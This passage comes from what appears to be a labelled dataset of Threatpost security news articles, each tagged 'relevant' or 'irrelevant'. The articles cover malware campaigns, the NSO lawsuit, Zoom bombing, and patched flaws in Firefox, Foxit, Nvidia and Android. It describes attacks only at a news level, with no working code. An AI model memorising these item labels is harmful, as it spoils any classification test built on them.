or attachments containing known malicious content, and also means that they can directly download malicious files on the victims’ systems, Roger Grimes, data drive defense evangelist at KnowBe4, told Threatpost. “A lot of times if you have an anti-malware scanner, it scans for malicious code and may or may not download the redirect,” Grimes said. “Redirects also pull the malware right away. This shows [the attackers are] constantly moving, trying to stay ahead of the anti-forensics.” Evil Corp URL redirect campaign HTML redirect from the Evil Corp campaign Previously, Evil Corp would distribute malware without HTML redirects, merely using malicious attachments or malicious URLs – which are more easily detected by defensive tools – in emails. The final payload is the GraceWire trojan, an infostealer. Evil Corp has distributed GraceWire in previous campaigns, however, the group is best-known for deploying the banking trojan Dridex (also known as Bugat and Cridex), sent via phishing emails. Further details about the extent and victims in the campaign were not revealed. Threatpost has reached out to Microsoft for more insight. Evil Corp is a hacking group that has allegedly stolen millions of dollars from victims using the Dridex banking trojan and, previously, the Zeus malware. Evil Corp’s previous schemes involved capturing banking credentials, and causing banks to make unauthorized electronic funds transfers from unknowing victims’ bank accounts. Money mules would then receive these stolen funds into their bank accounts, and transport the funds overseas. Multiple companies were targeted by Dridex, costing them millions of dollars; victims included two banks, a school district, a petroleum business, building materials supply company and others. Evil Corp has been on a hiatus since December, when feds started cracking down on the group: U.S. authorities offered up $5 million for information leading to the arrest of Evil Corp. leader Maksim V. Yakubets, 32, of Russia, who goes under the moniker “aqua.” Separately, the U.S. Treasury Department on Thursday issued sanctions against Evil Corp, “as part of a sweeping action against one of the world’s most prolific cybercriminal organizations.”",relevant
"Facebook’s NSO Group Lawsuit Over WhatsApp Spying Set to Proceed A federal judge in California ruled that the spyware vendor does not have sovereign immunity. Facebook’s lawsuit against NSO Group over alleged spying on WhatsApp users will be allowed to go forward. WhatsApp-owner Facebook is alleging that NSO Group exploited a vulnerability in WhatsApp to deploy its spyware against human rights activists, journalists and political dissidents. A federal judge in California ruled that NSO Group does not have immunity from legal action. The controversial Israeli firm, known for the development of the Pegasus spyware, had argued that because its clients are sovereign nations that can’t face civil charges in the U.S., it should benefit from a derivative immunity that would allow it to withhold information about its clients from the court. The decision means that the firm will be required to comply with subpoenas and reveal information about its spy activities and potentially about global governments’ use of its malware. “We are pleased with the Court’s decision permitting us to move ahead with our claims that NSO engaged in unlawful conduct,” a Facebook spokesperson said in a media statement. “The decision also confirms that WhatsApp will be able to obtain relevant documents and other information about NSO’s practices. Today we are one step closer to holding NSO accountable for attacking WhatsApp and its users, including journalists, human rights activists and government officials.” In May 2019, a zero-day vulnerability was found in WhatsApp’s messaging platform, exploited by attackers who were able to inject spyware onto victims’ phones in targeted campaigns. The lawsuit alleges that NSO Group developed the surveillance code and used vulnerable WhatsApp servers to send malware to approximately 1,400 mobile devices. “As we gathered the information that we lay out in our complaint, we learned that the attackers used servers and internet-hosting services that were previously associated with NSO,” said Will Cathcart, head of WhatsApp, in a post when the lawsuit was filed back in October. “In addition, as our complaint notes, we have tied certain WhatsApp accounts used during the attacks back to NSO. While their attack was highly sophisticated, their attempts to cover their tracks were not entirely successful.” The court documents say that the attack targeted at least 100 human rights defenders, journalists and other members of civil society worldwide, and that it violates various U.S. state and federal laws, including the U.S. Computer Fraud and Abuse Act. The lawsuit seeks to bar NSO Group from using Facebook and WhatsApp services, among seeking other unspecified damages. NSO Group has long maintained that its mobile spyware is meant to be a tool for fighting crime and terror, and that it’s not complicit in any government’s misuse of it. However, Judge Phyllis Hamilton said that it appears that NSO Group “retained some role” in how its wares are used. She also pointed to a statement to the court from CEO Shalev Hulio, which says that NSO Group carries out its activities “entirely at the direction of their government customers,” and that it provides “advice and technical support” for Pegasus. The “declaration itself leaves open the possibility of defendants’ involvement in the intentional act,” Hamilton wrote. “At this stage, the boundary between defendants’ conduct and their clients’ conduct is not clearly delineated or definitively resolved by the Hulio declaration.” For its part, NSO Group said that it is “reviewing the court’s decision, so we are not in a position to comment in detail at this time. Our technology is used to save lives and prevent terror and crime worldwide, and we remain confident that our conduct is lawful.” The news comes shortly after a court in Tel Aviv handed NSO Group a win: It threw out a case filed by Amnesty International that looked to revoke the company’s export license, which would have blocked it from selling Pegasus outside of Israel.",irrelevant
"FakeSpy Android Malware Spread Via ‘Postal-Service’ Apps New ‘smishing’ campaigns from the Roaming Mantis threat group infect Android users with the FakeSpy infostealer. Android mobile device users are being targeted in a new SMS phishing campaign that’s spreading the FakeSpy infostealer. The malware, which is disguised as legitimate global postal-service apps, steals SMS messages, financial data and more from the victims’ devices. The campaign was first discovered several weeks ago targeting South Korean and Japanese speakers, but it has now expanded that targeting to China, Taiwan, France, Switzerland, Germany, the United Kingdom and the United States. The attacker uses text messages as an initial infection vector, prompting the Android recipients to click on a malicious link, in a practice known as SMS phishing or “smishing.” One example of a message used in the latest FakeSpy campaign is an alert from the postal service local to the region of the victim, informing them that the service tried to send a package, but the receiver was not at home, for instance. Then, “the link directs them to a malicious web page, which prompts them to download an Android application package (APK),” according to a report on the campaign, by Ofir Almkias, mobile analyst with Cybereason. That APK downloads an app that appears to be from the local region’s legitimate postal service—such as the United States Postal Service (USPS)–but actually executes FakeSpy, an infostealer that requests permissions to take over SMS messages and steal sensitive data on devices. The malware, which has been a threat since 2017, also can access and use a target device’s contact list to infect other devices. Researchers believe that Chinese-speaking group known as “Roaming Mantis” is behind the campaign. Disguising malware as a legitimate mobile app is a hallmark of Roaming Mantis. The last major campaign from the threat group was seen two years ago with a banking trojan disguised as Google or Chrome that also targeted Android device users around the globe. fakespy apps Researchers analyzed code from a campaign in April 2020 that downloaded the Fakespy version impersonating Taiwan’s Chungwha Post app. Once the user clicked on the malicious link, the app asked them to approve installation. The app’s PackageInstaller showed its permission access and asks for the user’s approval, which then installed the application. During installation, researchers observed FakeSpy gaining access to numerous permissions, including the ability to: read, write, send and receive SMS messages; open network sockets and access the internet; write to external storage; read from internal storage; and access information about networks to which the device is connected, among others. After installation, the app begins its “real malicious activity” by downloading a set of dynamic libraries from the libmsy.so file, which executes the packed mycode.jar file to load various insidious information-stealing capabilities into FakeSpy’s process onto the device, Almkias said. Once FakeSpy is on the device, it steals all contacts in the device’s contact list and their information, as well as the infected device’s data. That includes the mobile number, the device model, the OS version, and banking and cryptocurrency app information. It also asks to be the device’s default SMS app so the malware can spread to other devices. Researchers found that the postal apps used to disguise FakeSpy are country-specific, including: USPS, Chungwha Post, the British Royal Mail, the German Deutsche Post, France’s La Poste, Japan Post and Swiss Post. Roaming Mantis used the Android developer tool WebView to build the fake applications, which is what gives them their authenticity, Almkias said. The app is a popular extension of Android’s View class that lets the developer show a webpage on a device. “FakeSpy uses this view to redirect users to the original post office carrier webpage on launch of the application, continuing the deception,” he wrote in his report. “This allows the application to appear legitimate, especially given these applications icons and user interface.” It’s actually the open nature of Android platform that invites threat actors to target them so persistently, since they have the ability to exploit its source code to create campaigns like this one, noted James McQuiggan, security awareness advocate at KnowBe4. “Android devices are a prime target due to the number of people who own them and the operating system is open-source code, which allows cyber criminals to discover exploits for their malware attacks,” he said in an email to Threatpost. To avoid being duped by the new FakeSpy campaign, McQuiggan recommended that users ignore text messages from unknown users and verify any messages about deliveries or other postal services through trusted links to local delivery carriers before clicking on a link sent via SMS. Researchers believe that the recent FakeSpy campaigns are just the beginning of a new wave of threats from Roaming Mantis, as its “authors seem to be putting a lot of effort into improving this malware, bundling it with numerous new upgrades that make it more sophisticated, evasive, and well-equipped,” according to Almkias.",relevant
"FBI Threatens ‘Zoom Bombing’ Trolls With Jail Time The FBI is cracking down on the practice of Zoom bombing, saying the hijacking of web conferences can be punishable by jail time. As reports of “Zoom bombing” explode, the FBI is cracking down on the issue with a new warning that web conference hijackers could face jail time. Authorities say that anyone who hacks into a teleconference meeting can be charged at the state and federal level. Charges can include the disruption of a public meeting, computer intrusion, using a computer to commit a crime, hate crimes, fraud, or transmitting threatening communications. These are punishable by fines and even imprisonment, according to the FBI. “You think Zoom bombing is funny? Let’s see how funny it is after you get arrested,” stated Matthew Schneider, United States Attorney for Eastern Michigan in a Friday public statement. “If you interfere with a teleconference or public meeting… you could have federal, state, or local law enforcement knocking at your door.” The coronavirus pandemic is driving more businesses and schools to “flatten the curve” by going remote, and thus using Zoom and other web conferencing platforms. Trolls are taking advantage of this by hijacking online meetings in order to spread hate speech such as racist messages, threats of sexual harassment, and pornographic images, which have reportedly driven meeting participants offline or forced meetings to be abruptly cancelled. A recent report by ZDNet recently pointed to attackers gathering in online communities (such as Discord, Reddit and more) to share Zoom conference codes or make Zoom bombing requests against certain online classes, for instance. Many of these attackers are teenagers, according to a recent PCMag report, with some even live streaming their attacks on Twitch. The FBI last week warned of multiple reports of conferences being disrupted by pornographic or hate images and threatening language, in so-called “Zoom-bombing” attacks. These include a Massachusetts high school online classroom using Zoom, where an unidentified individual dialed in, yelled a profanity and then shouted the teacher’s home address in the middle of instruction, said the FBI’s report. Also last week, the Bath City Council was forced to end its first online meeting after the video conference was bombarded with pornographic images and profane language. Some have even prohibited use of the video-conferencing app — including, according to Reuters, Elon Musk’s SpaceX rocket company, which cited “significant privacy and security concerns,” as well as New York school districts Many of the attacks occur because web conferences are hosted on public channels and shared over the internet via URLs, making them accessible to anyone. It’s easy for attackers to guess the correct URL or meeting ID for a public Zoom session – and even easier if Zoom hosts haven’t created passwords for their meetings. Zoom users can protect themselves by making sure “Require meeting password” is checked in settings, to require password authentication when users enter the meeting. Hosts can also enable “Check Only authenticated users can join” to ensure that all participants are logged into Zoom accounts. The developers of Zoom for their part have cautioned users to avoid sharing Zoom meeting links publicly (on social media) and to always make sure passwords are implemented. “As more people use our platform and host their virtual events using Zoom, we wanted to offer up tips to ensure everyone joining an event does so with good intentions,” according to a recent Zoom blog post. “Like most other public forums, it’s possible to have a person (who may or may not be invited) disrupt an event that’s meant to bring people together.”",irrelevant
"Firefox for Android Bug Allows ‘Epic Rick-Rolling’ Anyone on the same Wi-Fi network can force websites to launch, with no user interaction. A vulnerability in Firefox for Android paves the way for an attackers to launch websites on a victim’s phone, with no user interaction. The attack manifests in the form of a Firefox browser window on the target device suddenly launching, without the users’ permission. This can be used for various malicious attacks, or as the researcher points out, surprising victims with an auto-playing Rick Astley video. To exploit the bug, an attacker would need to be attached to the same Wi-Fi network as the target, according to researcher Chris Moberly, who recently published details on the bug, along with a proof-of-concept (PoC) exploit. “The target simply has to have the Firefox application running on their phone,” he explained. “They do not need to access any malicious websites or click any malicious links. No attacker-in-the-middle or malicious app installation is required. They can simply be sipping coffee while on a cafe’s Wi-Fi, and their device will start launching application URIs under the attacker’s control.” The flaw exists in Firefox for Android’s Simple Service Discovery Protocol (SSDP) engine (68.11.0 and below). The SSDP is a network protocol that’s used for the advertisement and discovery of network services and presence information. In this case, the SSDP engine can be tricked into triggering what are called Android intent Uniform Resource Identifiers (URIs). An “intent” is an abstract description of an operation to be performed. An intent allows developers to specify actions that can start an activity in another app (such as “view a map” or “take a picture”). “The vulnerable Firefox version periodically sends out SSDP discovery messages, looking for second-screen devices to cast to (such as the Roku),” Moberly explained. “These messages are sent via UDP multicast to 239.255.255.250, meaning any device on the same network can see them. Any device on the local network can respond to these broadcasts.” A malicious attacker can respond to one of the “ready to cast” messages and provide the device running Firefox with a location to cast to, he said. Firefox will then attempt to access that location, expecting to find an XML file conforming to universal plug-and-play (UPnP) specifications. “This is where the vulnerability comes in,” Moberly wrote. “Instead of providing the location of an XML file describing a UPnP device, an attacker can run a malicious SSDP server that responds with a specially crafted message pointing to an Android intent URI. Then, that intent will be invoked by the Firefox application itself.” Thus, a specially crafted response can force an Android phone on the local network with Firefox running to suddenly launch a specific website. It can also be used to do this on all Android phones on a network. “This most definitely could have been an epic rick-roll, where everyone in the room running Firefox tried to figure out what the heck was going on,” the researcher said. More malicious attacks could include launching a phishing page, or launching a direct link to an .XPI file, prompting for immediate installation of a malicious extension to compromise the browser itself. The bug could also be used to prompt someone to install a malicious package. Moberly also found that other intents beyond launching a web browser can be invoked, too. “Another example is to call other applications,” he said: In his PoC, he was able to start a mail application with arbitrary text. “Pretty scary to have happen on your device when you’re just minding your own business….However, that execution is not totally arbitrary in that it can only call predefined application intents,” he said. The bug — and the exploit — was afformed by fellow researcher Lucas Stefanko: Firefox quickly fixed the bug, so users should update their application to version 79 or above (this may have already automatically been done). People can verify that they’re up-to-date by navigating to “Settings -> About Firefox” and looking for the version number.",relevant
"Firefox Bug Opens iPhone AirPods to Third-Party Snooping Mozilla Foundation snuffs out bugs with the introduction of Firefox 74 and ESR 68.6. Five high-severity bugs were fixed in the Firefox web browser with the release of version 74 by the Mozilla Foundation on Tuesday. In addition, Mozilla reported a quirky moderate-severity flaw that allows hackers to target iPhone users and collect data tied to connected AirPods, if in use. In total, 12 bugs were patched with six rated as moderate severity and one low-severity bug. This month’s most serious vulnerabilities addressed flaws ranging from two memory out-of-bounds issues to two use-after-free bugs. Also on Tuesday, the browser maker released a new corporate version of its browser, Firefox ESR 68.6. This browser update shared four of the high-severity bug fixes and three medium severity bug patches. “While none have been seen exploited in the wild yet, the time to weaponization averages 7 days. And with Firefox’s increasing market growth in the enterprise market, leaving any devices unpatched could lead to a security incident,” wrote Richard Melick, sr. technical product manager at the patch-management firm Automox in a prepared statement. While rated moderate, Melick identified a Firefox flaw (CVE-2020-6812) impacting iPhone users in a novel way. “[This is] a vulnerability that would allow a website with camera or microphone access to gather information on the user through the connected AirPods,” wrote the researcher. “The first time AirPods are connected to an iPhone, they become named after the user’s name by default (e.g. Jane Doe’s AirPods.),” wrote Mozilla. “Websites with camera or microphone permission are able to enumerate device names, disclosing the user’s name.” Mozilla said, to patch the issue, a special case instance that renames devices containing the substring ‘AirPods’ to simply ‘AirPods’ was added to the Firefox 74 code. Credited for discovering the iPhone-related vulnerability is Jan-Ivar Bruaroey. Other high-severity bugs singled out by Automox that could “lead to memory corruption and escalation of privileges on a victim’s endpoint” include memory and script safety bugs – tracked as CVE-2020-6805, CVE-2020-6807, CVE-2020-6814 and CVE-2020-6815. “Some of these bugs showed evidence of memory corruption or escalation of privilege and we presume that with enough effort some of these could have been exploited to run arbitrary code,” conferred Mozilla describing the memory and script safety bugs fixed in Firefox 74. Another interesting bug, tracked as CVE-2020-6810 and rated medium severity, can be abused by a malicious website that tricks users into opening a dangerous popup that mimics the browser in full-screen mode. The technique would hide the fact that the browser was in full-screen mode by obscuring notifications and spoofing the browser’s chrome. Chrome is a generic term that describes a browser’s top interface that surrounds user data and web page content. This opens the door for an attacker to mask the fact a victim might be on an insecure or malicious website. Avi Drissman of the Chrome security team is credited for discovering the bug, (CVE-2020-6810) described as: “focusing a popup while in fullscreen could have obscured the fullscreen notification.”",relevant
"Firefox Zero-Day Flaws Exploited in the Wild Get Patched Mozilla Foundation rushes patches to fix bugs in its browser that could allow for remote code execution. Mozilla patched two Firefox browser zero-day vulnerabilities actively being exploited in the wild. The flaws, both use-after-free bugs, have been part of “targeted attacks in the wild,” according to a Mozilla Foundation security advisory posted Friday. Both bugs have critical ratings and allow remote attackers to execute arbitrary code or trigger crashes on machines running versions of Firefox prior to 74.0.1 and its business-friendly Firefox Extended Support Release 68.6.1. The bugs impact Firefox browser versions running on Windows, macOS and Linux operating systems. Details are scant on how either bug (CVE-2020-6819 and CVE-2020-6820) are specifically being exploited by adversaries. Tracked as CVE-2020-6819, this bug is a use-after free vulnerability tied to the browser component “nsDocShell destructor”. The Firefox nsDocShell is a client of the nsI-HttpChannel API, a function of the browser related to reading HTTP headers. The second vulnerability, tracked as CVE-2020-6820, is also a use-after-free bug actively being exploited in the wild. In this case, the attackers are targeting the Firefox browser component ReadableStream, an interface of the Streams API. The Streams API is “responsible for breaking a resource that you want to receive over a network down into small chunks,” according to Mozilla. Bugs were reported by security researchers Francisco Alonso and Javier Marcos of JMP Security. “There is still lots of work to do and more details to be published (including other browsers). Stay tuned,” tweeted Alonso. There is still lots of work to do and more details to be published (including other browsers). Stay tuned. — Francisco Alonso (@revskills) April 3, 2020 “Successful exploitation of the most severe of these vulnerabilities could allow for arbitrary code execution,” according to a Center for Internet Security bulletin. “Depending on the privileges associated with the user, an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than those who operate with administrative user rights.” Patches are available for multiple version of the Firefox browser including: Firefox 74.0.1 for Windows 64-bit, Firefox 74.0.1 for Windows 32-bit, Firefox 74.0.1 for macOS, Firefox 74.0.1 for Linux 64-bit and Firefox 74.0.1 for Linux 32-bit.",relevant
"Foxit PDF Reader, PhantomPDF Open to Remote Code Execution Foxit Reader and PhantomPDF are plagued by several high-severity flaws that, if exploited, could enable remote code execution. Foxit Software has released patches for dozens of high-severity flaws impacting its PDF reader and editor platforms. The most severe of the bugs, which exist on Windows versions of the software, enable a remote attacker to execute arbitrary code on vulnerable systems. Overall, Foxit Software patched flaws tied to 20 CVEs in Foxit Reader and Foxit PhantomPDF (versions 9.7.1.29511 and earlier) for Windows. Foxit Reader is popular PDF software – with a user base of over 500 million for its free version – that provides tools for creating, signing and securing PDF files. PhantomPDF, meanwhile, enables users to convert different file formats to PDF. In addition to millions users for its branded software, major corporations as Amazon, Google,and Microsoft license Foxit Software technology, opening up its threat landscape even more. “There are several bugs that could result in remote code execution [RCE],” Dustin Childs, manager at Trend Micro’s Zero Day Initiative (ZDI), told Threatpost. “All of these should be considered critical.” Foxit Reader Flaws The high-severity flaws in Foxit Reader enable RCE; they are fixed in Foxit Reader version 9.7.2. In an attack scenario for these flaws, “user interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file,” according to a Trend Micro ZDI vulnerability analysis. Included are vulnerabilities (CVE-2020-10899, CVE-2020-10907) within the processing of XFA templates, a template embedded in PDFs that allows for fillable fields. The issues both result from the lack of validating the existence of an object prior to performing operations on that object. An attacker can leverage both flaws to execute code in the context of the current process. Researchers also found an RCE flaw (CVE-2020-10900) in the way AcroForms are processed. AcroForms are PDF files that contain form fields. Thebug exists because the AcroForms do not validate an object’s existence prior to performing operations on that object. Finally, a flaw (CVE-2020-10906) was addressed in the resetForm method within Foxit Reader PDFs. The issue here is that there’s no check for an object prior to performing operations on the object, opening the process up to an RCE attack. PhantomPDF PhantomPDF also patched several high-severity flaws, which impact versions 9.7.1.29511 and earlier; users are urged to update to PhantomPDF version 9.7.2. Childs said the most severe of these are two flaws in PhantomPDF’s API communication (CVE-2020-10890 and CVE-2020-10892). PhantomPDF API calls are necessary for creating PDFs from other document types. These flaws stem from the handling of the ConvertToPDF command and the CombineFiles command, which allow an arbitrary file write with attacker controlled data. “CVE-2020-10890 and CVE-2020-10892 stand out as they are relatively easy to exploit,” Childs told Threatpost. “They are very straightforward and don’t require massaging or spraying memory to be successful.” Two other high-severity flaws (CVE-2020-10912, CVE-2020-10912) stem from the handling of the SetFieldValue command, which are set by the API calls. A lack of proper validation of user-supplied data for these commands results in a type confusion condition – and ultimately arbitrary code execution. For all high-severity flaws above, an attacker can execute code in the context of the current process – but user interaction is required in that the target must visit a malicious page or open a malicious file. 3D Plugin Flaws tied to 11 CVEs were also patched in the beta version of the U3DBrowser Plugin (9.7.1.29511 and earlier), a Foxit Reader and PhantomPDF plugin that allows viewing embedded 3D annotations in PDF files. The U3DBrowser Plugin flaws specifically stem from the handling of U3D objects in PDF files. Universal 3D (U3D) is a compressed file format standard for 3D computer graphics data, which can be inserted into PDF files. Two flaws (CVE-2020-10896) stem from a lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. A similar flaw (CVE-2020-10893) stemming from lack of proper validation of user-supplied data can result in a write past the end of an allocated structure. Other flaws (CVE-2020-10895, CVE-2020-10902, CVE-2020-10904, CVE-2020-10898) result from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. To address these issues, Foxit released 3D Plugin Beta 9.7.2.29539 for Foxit Reader and PhantomPDF. These are only the latest flaws to be discovered Foxit Software products. In October 2019, Foxit Software issued patches for eight high-severity flaws impacting Foxit Reader, and in October 2018 over 100 vulnerabilities were fixed.",relevant
"Gamer Alert: Serious Nvidia Flaw Plagues Graphics Driver Several flaws found in Nvidia’s graphics drivers could enable denial of service, code execution and other malicious attacks. Nvidia issued patches for high-severity vulnerabilities in its graphics driver, which can be exploited by a local attacker to launch denial-of-service (DoS) or code-execution attacks. Nvidia’s graphics processing unit (GPU) display driver is used in devices targeted for enthusiast gamers; it’s the software component that enables the device’s operating system and programs to use its high-level graphics hardware. Specifically impacted are display drivers used in GeForce, Quadro and Tesla-branded GPUs for Windows. The most severe flaw exists in the control panel component of the graphics driver, which is a utility program helping users monitor and adjust the settings of their graphics adapter. According to Nvidia in its security advisory, published Friday, an attacker with local system access can corrupt a system file in the control panel, which would lead to DoS or escalation of privileges. The vulnerability (CVE‑2020‑5957) ranks 8.4 out of 10.0 on the CVSS scale, making it high-severity. Another vulnerability, this one medium-severity, exists in the control panel of the graphics driver (CVE‑2020‑5958). An attacker with local system access could exploit this flaw by planting a malicious dynamic link library (DLL) file in the control panel, which may lead to code execution, DoS or information disclosure. For both flaws in the graphics driver, the affected versions and subsequent patched versions are listed below. Patched versions are now available, with the exception of a patch for vulnerable R440 versions of Tesla for Windows; fixes for that will be available on the week of March 9. Nvidia security vulnerability Nvidia also disclosed several vulnerabilities in the Virtual GPU (vGPU) Manager, its tool that enables multiple virtual machines to have simultaneous, direct access to a single physical GPU, while also using Nvidia graphics drivers deployed on non-virtualized operating systems. The most severe of these flaws exists in the vGPU plugin, “in which an input index value is incorrectly validated, which may lead to denial of service,” according to Nvidia. The vulnerability (CVE‑2020‑5959) is 7.8 out of 10.0 on the CVSS scale, making it high-severity. Another medium-severity flaw (CVE-2020-5960) in vGPU stems from the tool’s kernel mode (nvidia.ko) which is vulnerable to a null pointer dereference error. This type of error occurs when a program attempts to read or write to memory with a null pointer, causing a segmentation fault. The flaw can lead to denial of service, according to Nvidia. Nvidia also addressed a medium-severity vulnerability in its vGPU graphics driver for guest operating systems. An “incorrect resource clean up on a failure path” in this driver can impact the guest virtual machine, leading to denial of service. A variety of versions are affected for these vGPU software flaws (they can be found here); Nvidia said that updated versions are upcoming in March. It’s only the latest Nvidia security patch impacting its gaming-enthusiast customer base. Nvidia last year issued fixes for high-severity flaws in two popular gaming products, including its graphics driver for Windows and GeForce Experience. The flaws could be exploited to launch an array of malicious attacks – from DoS to escalation of privileges. Also in 2019, Nvidia patched another high-severity vulnerability in its GeForce Experience software, which could lead to code-execution or DoS of products, if exploited.",relevant
"Get Ready for the Microsoft Windows 7 EOL on January 14th January 14, 2020, is a day cybersecurity stakeholders should pay attention to, as it marks the end of Microsoft support in Windows 7. January 14, 2020, is a day cybersecurity stakeholders should pay attention to, as it marks the end of Microsoft support in Windows 7. From a security perspective, both the routine monthly security patches as well as hot fixes for attacks in the wild will not be available, effectively making any newly discovered vulnerability a Windows 7 zero-day. Cynet 360 autonomous breach protection is a good example of a multilayered advanced protection solution that can enable organizations who run Windows 7 to remain secure despite the end of support (To learn more click here). Let’s deep a bit deeper to understand the risk. The reality is that every software contains bugs. Ideally, these bugs are discovered during the development process. In practice, many of them surface only following the product release in the course of their interactions with real users. Bugs that can be exploited for malicious purposes are called vulnerabilities. Microsoft conducts rigorous and ongoing research to discover and fix such vulnerabilities. Every second (or sometimes fourth) Tuesday of the calendar month Microsoft releases these fixes, also known as patches. Once these patches are installed, the machine is 100% protected from the exploitation of these vulnerabilities. However, this protection would no longer apply to machines that run Windows 7 starting from January 14, 2020. ‘It’s a critical challenge for many organizations’, says Eyal Gruner, founder and CEO of Cynet, ‘The reality is that Windows 7 is alive and kicking in many organizations even if Microsoft chooses not to protect them anymore. It should be a wake-up call to any CISO to ask himself or herself how to adjust to this new reality’. What indeed can be done to protect Windows 7 machines in the post EOL era? Gruner explains that this is where multilayered protection should step in. ‘One of our main guidelines when building Cynet 360 was to be able to operate in a fast-changing environment, meaning that every type of attack is analyzed from multiple perspectives, each resulting with a different protecting mechanism. If we take exploits targeting Windows 7 as an example, there is first the exploit protection per-se. By closely monitoring process behavior in memory, the detection engine can easily detect behavioral patterns that are typical to exploits and would never occur in a legitimate process. ‘And we should remember that in most to all cases, the exploit itself is not the end but the mere mean to open a network connection and download the actual malware. Cynet 360 monitors that connection as well. And if a process starts running Cynet would analyze it in real-time – regardless if there was an actual download of file to disk or if the payload runs only in memory – and use multiple behavioral analysis methods to detect if it’s benign or malicious, terminating it in the case of the latter.’ So, is Windows 7 EOL a reason to be concerned? Probably yes. Can organizations that run Windows 7 maintain the same level of security as they did before? Certainly yes, as long as they have the right type of protection in place.",irrelevant
"Google Android RCE Bug Allows Attacker Full Device Access The vulnerability is one of 39 affecting various aspects of the mobile OS that the company fixed in a security update this week. Google has patched a vulnerability in its Android OS that could allow attackers to completely take over someone’s device to install programs, steal or change data, or create new accounts with full privileges. The flaw (CVE-2020-0103) was one of 39 vulnerabilities affecting Android OS builds that use older security profiles and are spread throughout various components of Android that the company fixed in its latest security patch, according to a security bulletin published Monday. The vulnerabilities pose a high risk for consumers as well as business and government institution users, the company said. However, the most critical of these—found in the System component of Android–could allow for remote code execution (RCE), depending on the existing privileges on the device, according to Google. “The most severe of these issues is a critical security vulnerability in the System component that could enable a remote attacker using a specially crafted transmission to execute arbitrary code within the context of a privileged process,” the company wrote in the bulletin. However, the potential for exploitation depends on the privilege status of an application, according to the Center for Internet Security’s (CIS’s) advisory on the flaw. “If this application has been configured to have fewer user rights on the system, exploitation of the most severe of these vulnerabilities could have less impact than if it was configured with administrative rights,” according to the post. These vulnerabilities could be exploited through multiple methods such as email, web browsing and multimedia services (MMS) when processing media files, CIS explained in its post. “Depending on the privileges associated with the application, an attacker could then install programs; view, change or delete data; or create new accounts with full user rights,” according to the post. However, so far none of the vulnerabilities patched in the update have been exploited in the wild, according to CIS. The critical flaw was one of eight that Google patched for the System component of Android. The rest of the flaws were rated high-severity, except for one, which was rated moderate. Google also patched a critical flaw in Android’s Framework component, CVE-2020-0096, that could enable a local attacker to execute arbitrary code within the context of a privileged process, the company said. The vulnerability was one of three patched in this component, the other two of which had a severity rating of high. The only other critical vulnerability patched was a critical security vulnerability, CVE-2020-3641, found in the Qualcomm closed-source components. The flaw was one of 10 patched in these components, the rest of which were rated as high severity. The security update also fixes four high-severity vulnerabilities in Android’s Media framework; eight high-severity vulnerabilities in Qualcomm components; four high-severity flaws in MediaTek components; and two high-severity vulnerabilities in Android Kernel components. While the Android security platform and service protections such as Google Play Protect “reduce the likelihood that security vulnerabilities could be successfully exploited on Android,” Google recommended that Android users install the latest security patch just to be on the safe side. Indeed, Google has historically struggled with the spread of malware via Android apps being downloaded from the Google Play store and has made a concerted effort in the last year and a half to try to stay on top of it. Still, malware on the platform persists. Just last week researchers discovered a new Android mobile malware called EventBot that steals payment data from users of popular financial apps like PayPal, Barclays, CapitalOne and more.",relevant
"Google Ditches Patch-Time Bug Disclosure in Favor of 90-Day Policy Project Zero vulnerability disclosures will now happen at 90 days, even if a patch becomes available before then. Google’s Project Zero bug-hunting team is making a big change to its vulnerability disclosure policies. Full details on any vulnerability will be made public 90 days after discovery, regardless of when the bug is fixed. That means that whether it’s patched on Day 20 or Day 120, bug details will go public at 90 days. The more notable part of the announcement is Project Zero’s decision to wait to disclose bug details until 90 days elapses, even if a patch becomes available before then. The rationale for abandoning the group’s previous coordinated disclosure policy, according to Project Zero researcher Tim Willis, is to ensure that fixes are thorough and not just rushed out as quickly as possible. The idea is to avoid opening the door to incomplete patches that cybercriminals can successfully probe for weaknesses to exploit. “For the last five years, the team has used its vulnerability disclosure policy to focus on one primary goal: Faster patch development,” explained Willis, in a posting on Tuesday on the policy changes. “If patches take a long time to develop and deploy, then we quickly fall behind the curve: more bugs are introduced than vendors can fix and a herculean effort is required to get things back on track.” However, “too many times, we’ve seen vendors patch reported vulnerabilities by papering over the cracks and not considering variants or addressing the root cause of a vulnerability,” he added. “One concern here is that our policy goal of faster patch development may exacerbate this problem, making it far too easy for attackers to revive their exploits and carry on attacking users with little fuss.” The change also allows vendors more time to get patches quietly out to affected partners and customers before details go public, Willis said – in theory improving patch adoption and reducing cybercriminals’ windows for public exploitation of disclosed vulnerabilities. As for whether the move is the right one, researchers in the vulnerability-hunting business applauded the change. “Having this additional breathing room in the disclosure timeline will hopefully lead to better patches, as there will be more time to do a full analysis of the vulnerability,” Josh Komoroske, senior DevOps engineer at StackRox, told Threatpost. “Improving user adoption of any fixes prior to public disclosure is also massively beneficial. Hopefully these changes will have these desired side effects, and improve the ecosystem overall.” HackerOne CTO and co-founder Alex Rice also told Threatpost, “The trade-offs involved are complicated, with far-reaching implications in the real world. There are no easy answers or perfect policies in vulnerability disclosure. It is promising to see leaders in this space such as Project Zero continuing to evoke a mindset of continuous improvement. We’ll be closely following the results of this new policy change in 2020.” Casey Ellis, CTO, founder and chairman at Bugcrowd, meanwhile called the move a “novel update.” “Project Zero’s policy and disclosure update is a solid concession given the amount of time it can take to get a security patch fully deployed to users, even when a vendor fixes the bug quickly,” he said. “The right kind of pressure can be a good thing when it comes to vulnerability finds and fixes, and this is what Google is trying to optimize through its policy. Creating efficient patch developments, but avoiding hasty rollouts, is Project Zero’s goal, and Google is moving the industry forward with this policy by motivating developers to prioritize security. The policy’s delayed disclosure notice is a smart move – It relieves the incentive to rush patch development into the wild, which in turn reduces the potential for poor security outcomes as a product of their research.” He added, “It’s certainly a novel update to standard coordinated vulnerability disclosure (CVD) practices, and it’ll be interesting to see how successful this policy update is throughout the year.” The policy goes into effect for bugs that have been found from Jan. 1 on, and it should be noted that the change is merely in a trial phase; Willis said that Google will make the decision whether or not to permanently institute the change at the end of 2020. A 90-day disclosure deadline at Project Zero has been in place for a while, meaning that if an affected vendor doesn’t fix a vulnerability by then or ask for more time (Project Zero does allow a 15-day grace period upon request), details will be released at 90 days, regardless. And according to Willis, this has been effective as an incentive to patch: About 98 percent of the company’s vulnerability reports are now fixed within the 90-day window, 